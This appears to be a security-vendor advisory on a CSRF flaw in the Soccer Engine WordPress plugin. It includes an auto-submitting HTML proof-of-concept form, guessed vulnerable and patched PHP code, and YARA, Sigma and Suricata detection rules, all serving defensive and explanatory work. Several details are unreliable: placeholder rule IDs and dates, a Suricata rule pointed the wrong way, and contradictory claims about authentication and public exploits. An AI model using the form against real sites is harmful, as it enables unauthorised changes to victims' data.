CVE-2024-4312

Executive Summary

CVE-2024-4312 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Soccer Engine – Soccer Plugin for WordPress plugin, up to and including version 1.12. The vulnerability stems from missing or incorrect nonce validation when saving match and team settings. This allows an unauthenticated attacker to forge requests that can modify plugin settings, teams, players, and other data, provided they can trick a site administrator into clicking a malicious link. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The lack of a patch increases supply chain risk, as site administrators may be unaware of the vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (administrator must click a link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The threat level is considered Medium due to the requirement for user interaction and the limited impact on integrity. However, the ability to modify team and player data could lead to reputational damage or data corruption.

Deep Dive & Mechanics

The vulnerability exists in the soccer-engine plugin's settings and data management functionality. The plugin fails to implement proper nonce validation when processing requests to save match and team settings. In WordPress, nonces are used to verify that requests originate from the intended user and not from a third party. Without this validation, an attacker can craft a malicious link or form that, when clicked by an authenticated administrator, will execute unauthorized actions.

The attack flow:

1. An attacker crafts a malicious HTML page or email containing a forged request (e.g., a POST request to the plugin's settings endpoint).
2. The attacker tricks a logged-in WordPress administrator into clicking the link or submitting the form.
3. The administrator's browser sends the forged request with their valid session cookies.
4. The plugin processes the request without checking the nonce, leading to unauthorized changes.

The vulnerability affects all versions up to and including 1.12. No patch has been released as of the advisory date.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks a nonce check similar to:

// Vulnerable code (missing nonce verification)
if ( isset( $_POST['save_team'] ) ) {
    update_option( 'soccer_engine_team_name', sanitize_text_field( $_POST['team_name'] ) );
}

A patched version would include:

// Patched code (with nonce verification)
if ( isset( $_POST['save_team'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'soccer_engine_save_team' ) ) {
    update_option( 'soccer_engine_team_name', sanitize_text_field( $_POST['team_name'] ) );
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the Soccer Engine plugin (version 1.12 or earlier) installed and activated.
• An authenticated administrator session.

Exploitation Steps:

1. Craft the malicious request. For example, to change a team name:

   <html>
   <body>
   <form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
       <input type="hidden" name="action" value="soccer_engine_save_team" />
       <input type="hidden" name="team_name" value="Hacked Team" />
       <input type="submit" value="Click me" />
   </form>
   <script>document.forms[0].submit();</script>
   </body>
   </html>
   

2. Host the HTML file on an attacker-controlled server or send it via email.

3. Trick the administrator into visiting the page or clicking the link.

4. Verify the change by checking the plugin's team settings.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with actions related to the Soccer Engine plugin (e.g., soccer_engine_save_team, soccer_engine_save_match).
• Look for referrer headers that do not match the site's domain.
• Enable WordPress security plugins that add CSRF protection.

Prevention:

• Apply the principle of least privilege to administrator accounts.
• Use Web Application Firewalls (WAF) to block suspicious requests.
• Educate administrators about phishing and social engineering attacks.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php with parameters like action=soccer_engine_save_team or action=soccer_engine_save_match.
• Logs: WordPress debug logs showing unexpected changes to plugin options (e.g., soccer_engine_team_name).
• File: Modified plugin settings in the wp_options table (e.g., soccer_engine_* options).

Detection Engineering

YARA Rule

rule CVE_2024_4312_CSRF_Soccer_Engine {
    meta:
        description = "Detects CSRF exploitation attempts against Soccer Engine plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-4312"
    strings:
        $action1 = "soccer_engine_save_team"
        $action2 = "soccer_engine_save_match"
        $wp_admin = "/wp-admin/admin-post.php"
    condition:
        any of ($action*) and $wp_admin
}

Sigma Rule

title: CVE-2024-4312 CSRF Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects CSRF attempts against Soccer Engine plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains:
            - 'action=soccer_engine_save_team'
            - 'action=soccer_engine_save_match'
    condition: selection
falsepositives:
    - Legitimate plugin usage
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-4312 CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=soccer_engine_save_team"; http_client_body;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and revert any unauthorized changes to team and match settings.
3. Audit administrator activity for signs of exploitation.

Long-term Fix:

• The vendor must release a patched version that includes proper nonce validation for all plugin actions.
• Users should update to the latest version once available.

Workarounds:

• Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin-post.php with suspicious parameters.
• Use a WordPress security plugin that adds CSRF protection to all admin actions.

Valters IT
Securing Digital Frontiers